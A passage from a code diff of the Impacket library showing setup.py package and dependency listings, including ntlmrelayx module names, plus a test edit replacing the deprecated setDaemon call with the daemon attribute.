'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils',
|
||||
'impacket.examples.ntlmrelayx.attacks'],
|
||||
'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'],
|
||||
scripts = glob.glob(os.path.join('examples', '*.py')),
|
||||
data_files = data_files,
|
||||
install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.16.2', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',
|
||||
|
||||
@@ -35,7 +35,7 @@ class TestTCP(unittest.TestCase):
|
||||
pass
|
||||
|
||||
thread_hangs = it_hangs()
|
||||
thread_hangs.setDaemon(True)
|
||||
thread_hangs.daemon = True
|
||||
thread_hangs.start()
|
||||
|
||||
thread_hangs.join(1.0) # 1 seconds timeout
|
||||
|
||||
Reference in new issue
Block a user